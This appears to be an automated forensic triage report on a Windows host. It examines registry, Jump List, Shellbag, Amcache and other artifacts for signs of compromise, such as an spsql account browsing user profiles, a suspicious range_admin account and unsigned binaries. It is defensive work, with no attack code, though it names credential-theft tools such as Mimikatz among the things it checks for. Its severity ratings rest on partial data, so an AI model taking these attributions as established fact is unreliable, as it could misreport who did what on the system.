• Empty execution context: The lnk_arguments field is empty across all visible rows, and lnk_workdir is empty, removing visibility into command-line parameters or working directories. DestList metadata (entry order, pin status, access counts) is absent, limiting assessment of recency and frequency.
• No direct execution or credential-theft proof: Jump Lists do not record parent processes, standalone program execution, or credential-access tooling (e.g., Mimikatz). Absence of such entries does not rule out their use elsewhere on the system.
• Exfiltration unconfirmed: While spsql staged sensitive files in C:\Windows\Temp\perfmon, this artifact cannot demonstrate that data left the host or network.
• Cross-artifact correlation required: Confirmation of logon type, source IP, session duration, and malicious execution requires Windows Security Event Logs (4624/4625/4648/4688), Prefetch/Amcache/ShimCache, SRUM, MFT/USN Journal, and SMB/server-side logs from base-file.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Service account **spsql** has interactive user artifacts—PowerShell shortcuts in Custom Jump Lists—suggesting an interactive Explorer session or logon inconsistent with typical service account behavior.
• Evidence: username = spsql; lnk_path = C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms; row_ref 16 (local_base_path = C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime/lnk_atime = 2018-08-31T00:42:20.078436+00:00, lnk_ctime = 2018-08-31T00:20:02.992435+00:00) and row_ref 17 (local_base_path = C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe, same Jump List file and timestamps).
• Why it matters: Service accounts are high-value targets and generally should not generate user-interaction artifacts like CustomDestinations; this may indicate interactive use by an attacker or misconfigured administrative access that facilitates compromise.
• Alternative explanation: The spsql profile may have been provisioned for a legitimate software installation or manual administrative task, creating Jump Lists through normal Explorer interaction.
• Verify: Review Security/TerminalServices event logs for interactive or RDP logon events for spsql around 2018-08-31; correlate with PowerShell operational/module logging and UserAssist entries under the spsql profile.

Data Gaps

• Sparse record set: Only 10 deduplicated records cover a ~4-month window (2018-05-11 to 2018-08-31), suggesting limited user activity, narrow artifact collection, or parser support gaps; many applications and users may be unrepresented.
• No AutomaticDestinations (DestList): Without MRU/MFU ordering and frequency data from AutomaticDestinations, we cannot establish recency or habitual access patterns for the entries observed.
• Unresolved Edge targets: The Edge Browser entries (row_refs 12 and 14) contain empty lnk_full_path/local_base_path values and null timestamps (1601-01-01T00:00:00+00:00), preventing assessment of what sites or resources were accessed.
• Absent command-line detail for PowerShell: The spsql PowerShell Jump List entries have no lnk_arguments, so we cannot determine whether any scripts or malicious commands were executed.
• No compromise indicators present: This artifact contains no evidence of credential access tooling (e.g., Mimikatz), persistence via startup locations, lateral movement via UNC/admin shares, LOLBin abuse, or exfiltration; such activity would need to be assessed via Event Logs, Prefetch, Amcache, SRUM, or MFT/USN.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] The account spsql performed extensive interactive Explorer reconnaissance across nearly every user profile on the host, as well as sensitive system directories.
• Evidence: Shellbag entries show spsql browsed C:\Users (row 31, 2018-08-31T00:17:06), C:\Users\Administrator (row 32, 2018-05-07T19:25:08), C:\Users\administrator.shieldbase (row 33, 2018-05-08T14:43:32), C:\Users\administrator.shieldbase\Documents (row 34, 2018-05-08T14:41:56), C:\Users\cbarton-a (row 35, 2018-08-15T15:28:56), C:\Users\jpallen (row 37, 2018-08-28T20:44:38), C:\Users\kellee.espinoza (row 45, 2018-05-24T23:56:10), C:\Users\rsydow-a (row 48, 2018-07-18T01:10:22), C:\Windows (row 50, 2018-08-31T00:09:16), C:\Windows\Tasks (row 55, 2018-07-06T22:25:12), and C:\Windows\Temp (row 56, 2018-08-31T00:36:10).
• Why it matters: Account names resembling a SQL/service principal conducted interactive folder-level reconnaissance of credential stores, other users’ homes, and persistence locations, which is highly consistent with a compromised account performing lateral movement or credential-access reconnaissance on an RDS host.
• Alternative explanation: spsql could be an authorized interactive administrator performing profile migrations or system maintenance.
• Verify: Review Security event log (Event ID 4624/4625) for interactive/RDP logon sessions by spsql and validate whether the account is permitted for interactive logon.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A suspicious staging-like directory was observed under C:\Windows\Temp\perfmon\Metal Alloys, accessed by the same spsql account that browsed the corresponding user document folders.
• Evidence: Row 58 (C:\Windows\Temp\perfmon\Metal Alloys, ts_mtime 2018-08-28T21:08:32, user spsql) shares an identical shellbag mtime with row 40 (C:\Users\jpallen\Documents\Research\Metal Alloys, ts_mtime 2018-08-28T21:08:32, user spsql); spsql also browsed the subfolders Carbonadium (row 41), Unobtanium (row 43), Vibranium (row 44), and Financial Analysis (row 42) within jpallen’s profile.
• Why it matters: Attackers frequently stage collected data in Temp subdirectories prior to exfiltration; the directory naming mirrors sensitive document folders and was accessed by the same account conducting broad user-profile reconnaissance.
• Alternative explanation: A legitimate application or administrative script may have created the perfmon\Metal Alloys directory for benign operational purposes.
• Verify: Inspect the MFT, USN journal, and actual disk contents for C:\Windows\Temp\perfmon to identify files present, their hashes, and any data-movement indicators around 2018-08-28 21:08 UTC.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Off-hours Explorer access to a GUID-mounted volume containing Research/Metal Alloys folders by user jpallen.
• Evidence: Rows 18–22 (My Computer\{d3162b92-9365-467a-956b-92703aca08af}\Research\Metal Alloys\..., ts_mtime range 2018-08-19T04:14:32 to 2018-08-19T04:15:20, user jpallen).
• Why it matters: 04:14 UTC folder-level activity on an attached volume/network path may indicate unauthorized or anomalous access to what appears to be sensitive research data.
• Alternative explanation: The user may work in a different timezone, or the timestamp reflects the folder’s modification time rather than a user access time.
• Verify: Resolve the GUID volume to a network path or mount point and correlate jpallen’s logon sessions (Security log) with normal working hours.

Data Gaps

• Absent timestamp fields: ts_atime and ts_btime are empty for all 62 rows, preventing first-access and birth-time analysis and limiting the ability to establish precise access timelines.
• No file-level visibility: Shellbags record only directory browsing in Explorer; they do not reveal individual file reads/writes, command-line activity, or program execution.
• Account context unknown: This artifact cannot determine whether spsql is a service account, a privileged interactive user, or a compromised identity; group membership and logon rights must be verified via SAM/policy artifacts or event logs.
• Unresolved volumes: The GUID-based volume {d3162b92-9365-467a-956b-92703aca08af} (rows 17–24) and the S: drive (row 62) are not mapped to UNC paths or physical devices in this data, limiting lateral-movement assessment.
• No tampering indicators, but limited coverage: While there is no direct evidence of shellbag clearing, the absence of shellbags for some time periods or system accounts (e.g., SYSTEM) cannot be interpreted as tampering without baseline registry knowledge. Corroboration with MFT, USN journal, and Security event logs is required.

Findings

• **[SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious local account range_admin created on the system.**
• Evidence: Account username range_admin, RID 1003, row 6, ts: 2018-05-04T22:14:19.395981+00:00, lastpasswordset: 2018-08-19T03:58:17.156408+00:00, lastlogin: 1601-01-01T00:00:00+00:00 (never logged in), flags: 528.
• Why it matters: A non-standard, non-built-in local account with a name inconsistent with the shieldbase.lan environment was created months after system setup and was assigned a password despite never being used for interactive logon, consistent with attacker persistence/backdoor behavior.
• Alternative explanation: May be a legitimate account created by an administrator for a specific "range" management purpose (e.g., network range, lab range), though this would be unusual naming for a production RDS host.
• Verify: Correlate with Windows Security EVTX Event ID 4720 for account creation and Event ID 4732 for group membership changes; determine if the account belongs to the local Administrators group.

• **[SEVERITY: HIGH] [CONFIDENCE: HIGH] Correlated password changes on range_admin and built-in Administrator within 28 seconds.**
• Evidence: range_admin lastpasswordset: 2018-08-19T03:58:17.156408+00:00 (row 6); built-in Administrator lastpasswordset: 2018-08-19T03:58:45.643017+00:00 (row 1).
• Why it matters: Near-simultaneous password resets on a suspicious local account and the built-in Administrator account strongly suggest coordinated credential manipulation, such as an attacker resetting passwords to maintain access or a malicious insider action.
• Alternative explanation: Could reflect a scripted password rotation or configuration management tool applying changes to multiple privileged accounts at once.
• Verify: Check Security EVTX for Event IDs 4723 (password change) and 4724 (password reset) on 2018-08-19 around 03:58 UTC for both accounts; identify the source IP and subject user performing the resets.

Data Gaps

• Group membership data is absent from this artifact. The CSV does not contain a group membership column, so it is not possible to confirm whether range_admin was added to the local Administrators group (or other privileged groups) from SAM alone. Cross-reference with the local group policy/SAM group artifacts or Security EVTX Event ID 4732.
• No logon session or network logon evidence. SAM lastlogin only reflects the last interactive/local logon. Lateral movement via RDP, SMB, or scheduled task execution using these accounts would not be visible here. Review EVTX 4624, 4625, 4648, and terminal service logs.
• Account creation audit trail missing. SAM does not record who created range_admin or from where. Windows Security logs (Event ID 4720) are required to identify the creator and confirm the creation timestamp.
• Cannot assess password policy or hash exposure. SAM does not include password complexity, history, or hash metadata (e.g., NTLM hash last set context). If credential access tools (e.g., Mimikatz) were used, this artifact will not contain that evidence. Review lsass dumps, NTDS.dit, or SECURITY hive if available.
• Bulk registry timestamp anomaly unexplained. Four built-in accounts (including Administrator) share the identical registry last-write timestamp 2018-05-07T19:24:55.961519+00:00 (rows 1–4). Whether this reflects a benign system update, hive recovery, or tampering cannot be determined from SAM user records alone.

No suspicious network profiles were identified in this artifact; the sole recorded network is the expected corporate domain shieldbase.lan (row_ref 1, created 2018-05-07T15:24:56.000774-04:00, last connected 2018-09-07T00:19:58.000047-04:00).

Data Gaps

• Single-profile limitation: Only one NetworkList profile is present. It is impossible to determine whether the host never connected to other networks or whether additional profiles were deleted, renamed, or excluded from this extract. This artifact therefore cannot rule out transient connections to rogue, public, or attacker-controlled networks.
• No DFIR-relevant indicators: Network History does not provide evidence of privilege escalation, credential access tooling, malicious execution, persistence mechanisms, or active exfiltration. Those categories are not assessable from this artifact alone.
• Missing user and traffic attribution: The record does not identify which user initiated the connection, nor does it prove active traffic. Correlation with suspicious logon sessions or data movement requires SRUM, WLAN/operational event logs, NetFlow, or proxy/DHCP/DNS records.
• Temporal scope: The available record spans only May through September 2018. Network connectivity before or after this window is unassessed.
• Gateway validation: The default gateway MAC (a2c6c7000704) and network signature cannot be validated as benign or suspicious without infrastructure asset data or a baseline of known-good gateway identifiers for this host.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain admin interactive logon evidence: the domain account administrator.shieldbase has a user profile on this workstation with an HKCU Run persistence entry for OneDrive.
• Evidence: row_ref 14, ts 2018-05-08T14:06:24.369505+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, name OneDrive, command C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background, username administrator.shieldbase.
• Why it matters: Interactive domain admin logons cache privileged credentials in LSASS on the workstation; if this host is compromised, attackers likely have direct access to domain admin hashes or tokens, enabling lateral movement and domain-wide privilege escalation.
• Alternative explanation: A legitimate administrator logged in locally to perform maintenance, though this violates least-privilege workstation access policies.
• Verify: Correlate with Windows Security Event Log (Event ID 4624/4648) for administrator.shieldbase logon events around 2018-05-08; check LSASS/memory dumps for credential material; audit domain admin logon restrictions.

Data Gaps

• Extended temporal gap: The most recent registry entry is dated 2021-02-03T21:51:04+00:00, more than five years before the current investigation date (2026-06-13). No Run/RunOnce data exists for the intervening period, preventing assessment of recent persistence activity. This may reflect an old disk image, evidence decay, or potential log/artifact clearing.
• Execution status unknown: RunOnce entries are designed to self-delete after execution. The preserved RunOnce rows (row_refs 15–19) indicate either the user has not logged on since their creation or the hive was captured before execution; we cannot confirm whether they ran without timeline correlation.
• Lack of binary integrity data: The dataset provides file paths but no hashes, certificate info, or on-disk metadata. We cannot verify whether referenced executables (e.g., OneDrive.exe, cmd.exe) were tampered with or replaced.
• Missing provenance: No process creation logs (Sysmon, EDR) or user interaction artifacts (UserAssist, ShimCache) are present to determine whether these registry entries were created by legitimate installers, manual attacker modification, or policy deployment.
• Service account anomalies not fully assessable: OneDriveSetup entries exist under HKCU for LocalService (row_ref 7) and NetworkService (row_ref 8), which is atypical. Without additional host context (service profile usage, GPO logs), these cannot be conclusively categorized as benign or suspicious.

No suspicious scheduled tasks were identified in this artifact.

Data Gaps

• Trigger configuration is absent. The extracted fields do not include trigger details (e.g., at boot, at logon, on idle, or repetition intervals), so high-risk persistence timings cannot be assessed from this artifact alone.
• No execution telemetry. The last_run_date field is empty for every record, and execution history (run times, exit codes) is not present. It is impossible to determine whether any task has executed recently or repeatedly.
• Missing creation/modification timestamps. The date field is blank for several tasks (e.g., the custom “Sysmon Update” task, row 42), preventing correlation with a potential incident timeline.
• No content verification. This artifact lists commands but does not include the content of referenced scripts or binaries. A task referencing a network-hosted batch file cannot be validated as benign or malicious without inspecting the share and file system.
• Lack of event log correlation. Windows Security Event Log entries (e.g., Event ID 4698 for task creation, 4699 for deletion, 200/201 for execution) are not available here and are required to confirm how and when tasks were registered or invoked.
• GPO-provenance ambiguity. Group Policy Preference artifacts (rows 1 and 4) show that at least one task is domain-managed, but this artifact alone cannot distinguish legitimate administrative deployment from a compromised GPO or SYSVOL modification.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unattributed kernel driver service mnemosyne installed with minimal metadata and a raw device path.
• Evidence: row_ref 252, ts=2021-09-16T03:01:59.182522+00:00, name=mnemosyne, displayname=mnemosyne, description=(empty), imagepath=\??\C:\windows\Mnemosyne.sys, type=Kernel Device Driver (0x1), start=Manual (3).
• Why it matters: A bare kernel driver dropped into C:\windows with no vendor description or signing indicators is a classic rootkit and deep-persistence mechanism, granting unrestricted kernel-level access.
• Alternative explanation: Could be a component of an obscure legitimate utility or a forensic tool that does not embed publisher metadata, though this is atypical.
• Verify: Check digital signature and hash of C:\windows\Mnemosyne.sys; query System/Setup EVTX for driver load events (Event ID 6, 7045) around 2021-09-16 03:01 UTC; determine if the driver is loaded in memory.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start service F-Response Subject running as LocalSystem with hardcoded remote connectivity.
• Evidence: row_ref 121, ts=2021-09-16T03:01:57.760649+00:00, name=F-Response Subject, imagepath=C:\windows\subject_srv.exe, imagepath_args="-s ""172.16.5.25:5682"" -l 3262 -v ""F-Response Subject"" -k ""155522845""", objectname=LocalSystem, start=Auto Start (2).
• Why it matters: The service provides persistent, privileged remote disk access to an external host (172.16.5.25); if attacker-deployed, it enables full-system compromise, lateral movement, and data exfiltration.
• Alternative explanation: The binary name, arguments, and service name exactly match the F-Response forensic acquisition agent, which is commonly deployed by incident responders for remote imaging.
• Verify: Confirm whether 172.16.5.25 is an authorized forensic collector or management host; inspect the binary signature and file creation time of C:\windows\subject_srv.exe; correlate with EVTX Event ID 7045.

Data Gaps

• Service installation history is missing: This artifact provides a point-in-time registry snapshot (last-write timestamps) but cannot show the original creation date or user context of service installations; EVTX Event ID 7045 and Security logs are required to confirm who installed mnemosyne and F-Response Subject.
• Binary integrity is unknown: There are no file hashes, digital signature statuses, or version info for Mnemosyne.sys, subject_srv.exe, or any other service binaries in this data; a file-system and memory analysis is needed to verify if Mnemosyne.sys is malicious or signed.
• Driver load state is indeterminate: The mnemosyne service is set to Manual (3); this artifact does not indicate whether the driver was ever loaded, is currently loaded, or was loaded via an alternative trigger (e.g., by a co-installed user-mode service).
• No evidence of tampering with defensive services: While Windows Defender (WinDefend, row 584) is set to Manual, McAfee endpoint services (McShield, enterceptAgent, etc.) are present and auto-starting, suggesting third-party AV displacement rather than tampering, but the absence of corresponding McAfee logs here prevents confirmation.
• Snapshot recency: The most recent service timestamps (2021-09-16) immediately precede or coincide with likely image-acquisition activity; without acquisition timeline context, it is impossible to distinguish pre-existing attacker persistence from tooling introduced during response.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Unrecognized executable subject_srv.exe observed in the Windows system directory.
• Evidence: row_ref 434, last_modified 2018-04-10T19:29:48+00:00, path C:\windows\subject_srv.exe.
• Why it matters: Non-standard binaries placed directly in C:\Windows are frequently used for persistence or as attacker utilities.
• Alternative explanation: Custom or legacy line-of-business application legitimately installed to the system directory.
• Verify: Generate a file hash and query threat intelligence; inspect the Service Control Manager and Registry (e.g., Services, Run keys) for persistence pointing to this executable; corroborate with Prefetch, Amcache, and Security/Sysmon EVTX for evidence of execution.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Forensic parsing tool AppCompatCacheParser.exe present directly in C:\WINDOWS.
• Evidence: row_ref 311, last_modified 2020-01-20T02:06:07.096182+00:00, path C:\WINDOWS\AppCompatCacheParser.exe.
• Why it matters: Forensic parsers dropped into a system directory may indicate unauthorized data collection or prior incident-response activity that must be reconciled with authorized change records.
• Alternative explanation: An authorized investigator or administrator manually placed the tool during approved troubleshooting or a previous response engagement.
• Verify: Validate the file’s digital signature and hash against the known-good release; cross-check with change-management or IR ticketing history; examine adjacent Shimcache/Prefetch/EVTX entries for execution context.

Data Gaps

• Execution unconfirmed: Shimcache records presence on disk only; it cannot prove that subject_srv.exe, AppCompatCacheParser.exe, or any other entry was actually executed. Corroboration from Prefetch, Amcache, or EVTX is required to confirm runtime activity.
• Missing/epoch timestamps: 85 entries carry a 1601-01-01T00:00:00+00:00 timestamp (e.g., row_refs 69, 91–92, 168, and numerous Windows Store app records), preventing reliable timeline placement for those items.
• Limited time coverage: The most recent entry is dated 2021-01-30T08:29:51.161539+00:00 (row_ref 19). Any host activity after this date is not visible in this artifact.
• No observed attacker tooling: Entries for known abuse utilities such as Mimikatz, PsExec, Procdump, or Cobalt Strike were not observed; however, this artifact alone cannot rule out their use, deletion, or execution from non-scoped paths on this host or others.
• Missing execution context: The artifact provides no command-line arguments, parent process relationships, or user identity, which limits attribution of binary presence to specific suspicious activity or account.
• Explicit IOCs absent: The investigation context did not supply specific IOC patterns, so no targeted observables can be reported as observed or absent.

Merged batch 1

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unsigned executables perfmon-k.exe and perfmon-kconfigure.exe deployed in a non-standard C:\ProgramData\perfmon-k directory with no publisher, product name, or version metadata.
• Evidence: row_ref 1773, path: c:\programdata\perfmon-k\perfmon-k.exe, publisher: (empty), product_name: (empty), digest sha1: c31bbf518e9d9bc74a6567a2e3f0c37043ad399a; row_ref 1774, path: c:\programdata\perfmon-k\perfmon-kconfigure.exe, publisher: (empty), product_name: (empty), digest sha1: c95f567910b56d5e1f865781582aa6c8ff9f5db9.
• Why it matters: ProgramData is a common attacker persistence location; the names masquerade as legitimate Windows performance monitoring tools but these are not standard OS binaries, indicating probable custom malware or a backdoor.
• Alternative explanation: Extremely unlikely, but could be an unmarked internal monitoring agent—though no metadata or install trail supports this.
• Verify: Check Shimcache/Prefetch for execution timestamps; review running services/scheduled tasks referencing this path; submit hashes to sandbox/AV.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious unsigned executable **k.exe** found in the Edge browser temporary downloads folder for user spsql.
• Evidence: row_ref 968, path: c:\users\spsql\appdata\local\packages\microsoft.microsoftedge_8wekyb3d8bbwe\tempstate\downloads\k.exe, name: k.exe, publisher: blank, version: blank, product_name: blank, size: 13.4 MB, SHA1: 3bc3eb9c78d0f867f7d138f7958c2b8854a4dc53.
• Why it matters: A large, generically-named executable with no publisher metadata sitting in a browser’s temp download directory is a common indicator of a downloaded malware payload and poses an immediate risk if executed.
• Alternative explanation: The user may have manually downloaded and renamed a legitimate application or installer.
• Verify: Check Prefetch/Shimcache for K.EXE execution evidence; submit SHA1 3bc3eb9c78d0f867f7d138f7958c2b8854a4dc53 to threat intelligence; review Edge download history and network logs for the spsql account.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Anomalous, massively oversized **googleupdatesetup.exe** residing in a non-standard update-disable directory, inconsistent with every other Google Update stub on the host.
• Evidence: row_ref 774, path: c:\program files (x86)\google\update-disable\1.3.26.9\googleupdatesetup.exe, name: googleupdatesetup.exe, publisher: google inc., version: 1.3.26.9, product_name: google update, size: 42.4 MB, SHA1: 351ead095f226af542a43b527aa048211b4db082. All other googleupdatesetup.exe binaries on this system are 1.1–1.4 MB (e.g., rows 756, 762, 767, 782, 1.08–1.40 MB); this binary is roughly 30–40× larger and sits alongside much smaller version-matched peers.
• Why it matters: The size, location, and deviation from known-good peers strongly suggest a masqueraded or implanted payload.
• Alternative explanation: An administrator may have placed a full offline Chrome installer into the disabled-update folder, though the filename and location are atypical for a legitimate offline installer.
• Verify: Cross-reference SHA1 351ead095f226af542a43b527aa048211b4db082 with threat intelligence; inspect the file’s resource table and version info on disk; check Scheduled Tasks and services for execution/persistence mechanisms referencing this path.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Unattributed setup.exe dropped by a RAR self-extractor in the spsql user temp folder.
• Evidence: row_ref 1966, path: c:\users\spsql\appdata\local\temp\rarsfx0\setup.exe, name: setup.exe, publisher: (empty), product_name: (empty), version: (empty), digest sha1: 40b638c05767cc5ad9802701953efeb5315bc80f.
• Why it matters: SFX archives dropping unsigned setup binaries into temp directories are a common malware delivery vector; presence under an account named spsql raises concern for privilege abuse or lateral movement.
• Alternative explanation: Could be a benign administrative utility packaged in an SFX, but the complete absence of publisher metadata makes this unlikely.
• Verify: Correlate with Prefetch/Shimcache to confirm execution; inspect spsql logon events and recent user activity.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] OneDrive binaries present under domain administrator and service account profiles (administrator.shieldbase and spsql).
• Evidence: row_ref 584, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\filecoauth.exe; row_ref 604, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\filesyncconfig.exe; row_ref 1635, path: c:\users\spsql\appdata\local\microsoft\onedrive\update\onedrivesetup.exe, publisher: microsoft corporation; row_ref 1657, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\onedrivesetup.exe, publisher: microsoft corporation.
• Why it matters: Consumer cloud storage clients under service accounts or domain admin profiles can indicate interactive logon by privileged accounts or potential data staging/exfiltration.
• Alternative explanation: Could result from profile roaming or incidental interactive logon by administrators.
• Verify: Review Windows Security Event Log for interactive/logon events (4624/4648) for both accounts; inspect NTUSER.DAT/UsrClass.dat and OneDrive synced directories.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Legacy Microsoft Equation Editor (eqnedt32.exe) identified, a component with multiple unpatched critical vulnerabilities.
• Evidence: row_ref 539, path: c:\program files (x86)\common files\microsoft shared\equation\eqnedt32.exe, version: 00110900, publisher: design science, inc., sha1: 601f4e8cd6b1c5fcd8f0be4acf01a08261a07b94.
• Why it matters: This version corresponds to the legacy Equation Editor commonly exploited via Office documents (CVE-2017-11882, CVE-2018-0802) and may represent an attack vector or prior compromise if correlated with suspicious document activity.
• Alternative explanation: Leftover component from a legacy Microsoft Office installation.
• Verify: Cross-reference with Shimcache/Prefetch for recent execution timestamps, and inspect for suspicious child processes or associated Office document open events.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap network packet capture driver and remote capture daemon installed.
• Evidence: row_ref 1484, path: c:\windows\system32\drivers\npf.sys, publisher: riverbed technology, inc., product_name: winpcap; row_ref 1847, path: c:\program files\winpcap\rpcapd.exe, publisher: riverbed technology, inc., product_name: winpcap; row_ref 2091, path: c:\program files\winpcap\uninstall.exe, product_name: winpcap.
• Why it matters: rpcapd.exe enables remote packet sniffing and could facilitate credential harvesting or network reconnaissance if deployed by an attacker.
• Alternative explanation: May be installed for legitimate network diagnostics or Wireshark usage.
• Verify: Validate whether WinPcap is authorized on this workstation; check Prefetch/Shimcache for rpcapd.exe execution; inspect network adapter bindings.

• [SEVERITY: LOW] [CONFIDENCE: LOW] Metadata-deficient zip.exe located in the VMware Tools directory.
• Evidence: row_ref 2282, path: c:\program files\vmware\vmware tools\zip.exe, name: zip.exe, publisher: empty, version: empty, product_name: empty, SHA-1: 97105f448e084dedf4ef01410902b668d3959d9c, size: 0.14 MB, is_pefile: 1.
• Why it matters: Executables lacking publisher metadata in existing application directories may indicate attacker-dropped utilities used for staging, archiving, or tool transfer.
• Alternative explanation: A legitimate third-party compression utility placed by an administrator or bundled with a specific VMware Tools deployment.
• Verify: Query the SHA-1 against threat intelligence; correlate with Shimcache and Prefetch to confirm execution; inspect the file on disk for compile time and any embedded digital signature.

IOC Status

• No explicit IOCs were provided in the investigation context → Not Assessable.

Data Gaps

• Partial dataset: Only a subset of the total 2,858 Amcache records was provided across all chunks; the remaining ~2,100+ records were not assessable. This includes **34 occurrences of mavinject32.exe** noted in summary statistics, which could not be reviewed for potential DLL-injection or defense-evasion activity.
• Missing temporal data: The install_date field is empty for the vast majority of supplied rows (including all key findings above), preventing precise timeline correlation to a potential incident window.
• Execution unconfirmed: Amcache inventories file presence but does not prove execution. Correlation with Shimcache, Prefetch, Sysmon, and Windows Event Logs is required to verify whether any of the observed binaries were actually launched.
• Threat intelligence unavailable: SHA-1 hashes are present for multiple suspicious binaries, but this artifact does not include threat intelligence results; external lookups are needed.
• Sparse driver records: Driver entries (e.g., rows 2395–2747) lack path, publisher, and digest values in the provided extract, limiting anomaly detection for malicious or vulnerable drivers.
• No direct credential-access or lateral-movement tooling observed in excerpt: No evidence of Mimikatz, PsExec, Cobalt Strike, or similar utilities appears in the visible rows; however, absence in this partial dataset does not rule out their presence in unseen records or in other artifacts (e.g., $MFT, USN Journal, Event Logs).
• Metadata gaps in standard paths: Several binaries in otherwise legitimate directories lack publisher/product metadata, making tampering indistinguishable from benign metadata absence without on-disk signature validation.

No suspicious execution was detected in the available BAM/DAM data; all entries are legitimate Microsoft and Windows Store applications with no evidence of credential-access tools, lateral-movement utilities, or other attacker-related binaries.

Data Gaps

• Absence of suspicious executables and limited retention. All 21 retained rows (e.g., row_ref 1, 5, 6, 28) reference benign system and Store apps such as Microsoft.Windows.Cortana_cw5n1h2txyewy, Microsoft.WindowsStore_8wekyb3d8bbwe, and Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe. No Mimikatz-like, PsExec, or other attacker tooling is present. Because BAM retains only recent entries and older records are overwritten, this absence does not rule out prior malicious execution.
• Missing user SID attribution. The provided CSV columns (row_ref, ts, path, _dedup_comment) do not include the user SID field that BAM/DAM normally maps to, so these executions cannot be attributed to specific user accounts. This prevents identification of unauthorized or lateral-movement-related user context.
• Stale timeline. The most recent entry is 2021-02-03T21:51:04.150814+00:00 (row_ref 28, Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe), over five years prior to the current analysis date. If the suspected compromise occurred after February 2021, this artifact provides no visibility into that window. The sparse record distribution across 2018–2021 also limits behavioral granularity.
• Insufficient for DFIR checks alone. This artifact cannot establish privilege escalation, persistence mechanisms, defense evasion, or exfiltration. Correlation with Prefetch, Amcache, SRUM, Windows Security Event ID 4688, Sysmon, and Registry-based execution evidence (e.g., UserAssist, Run keys) is required to build a complete execution timeline and identify suspicious user-attributed activity.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Secure deletion tool SDelete was executed from an internal network path by a domain administrator account.
• Evidence: ts=1601-01-01T00:00:00+00:00, path=\base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe, username=administrator.shieldbase, focus duration=2578, row_ref=126.
• Why it matters: SDelete is commonly used for anti-forensics to irrecoverably wipe files; execution from a share by a privileged account is highly anomalous and suggests deliberate evidence destruction.
• Alternative explanation: A systems administrator may have legitimately used Sysinternals tools for disk cleanup or policy-compliant file removal.
• Verify: Cross-reference Security Event ID 4688 / Sysmon logs for sdelete.exe command-line arguments, and inspect the \base-file share access logs and the host’s MFT/usnjrnl for recently wiped files.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A standard user launched system persistence utilities (schtasks.exe and sc.exe) via the Explorer shell.
• Evidence:
• ts=1601-01-01T00:00:00+00:00, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\schtasks.exe, username=mhill, focus duration=141, row_ref=37.
• ts=1601-01-01T00:00:00+00:00, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\sc.exe, username=mhill, focus duration=31, row_ref=41.
• ts=1601-01-01T00:00:00+00:00, path={D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\sc.exe, username=mhill, focus duration=31, row_ref=42.
• Why it matters: Scheduled tasks and service control are primary persistence mechanisms; interactive execution of these CLI tools by a non-admin user via Explorer is uncommon and may indicate hands-on attacker activity.
• Alternative explanation: A power user or developer may have manually run these tools for local testing or automation setup.
• Verify: Review active scheduled tasks (schtasks /query /fo LIST /v) and Windows service lists for anomalies, and correlate with Event ID 4688 process-creation logs to recover command-line arguments.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Heavily used opaque executable with no identifiable publisher, extension, or path was the most recent GUI-launched program for this user.
• Evidence: ts=2020-09-20T23:56:16.173000, path=E7CF176E110C211B, username=mhill, number_of_executions=24, application_focus_count=104, application_focus_duration=14119191, row_ref=43.
• Why it matters: Malware frequently uses randomized or meaningless filenames to blend in; sustained execution (~3.9 hours of focus time) indicates it was a primary interactive application.
• Alternative explanation: This may be a legitimate custom or legacy internal application referenced only by a hash or GUID-like name.
• Verify: Locate the binary on disk under user-writable paths (AppData, Temp, etc.), calculate its hash, check the digital signature, and review AppCompatCache/AmCache for the full installation path.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Domain admin account executed a command prompt from Explorer with sustained interaction.
• Evidence: ts=2018-05-14T04:00:38.445999, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, username=administrator.shieldbase, number_of_executions=4, application_focus_count=19, application_focus_duration=1494066, row_ref=114.
• Why it matters: Interactive use of a domain administrator account on a workstation increases exposure to credential theft and may indicate lateral-movement staging or on-box administration by an attacker.
• Alternative explanation: The account may have been used by IT staff for legitimate software installation or workstation troubleshooting.
• Verify: Check Windows Security logs for interactive (Logon Type 2) or RDP (Logon Type 10) logons of administrator.shieldbase around 2018-05-14T04:00:38Z, and hunt for associated network connections or remote commands.

Data Gaps

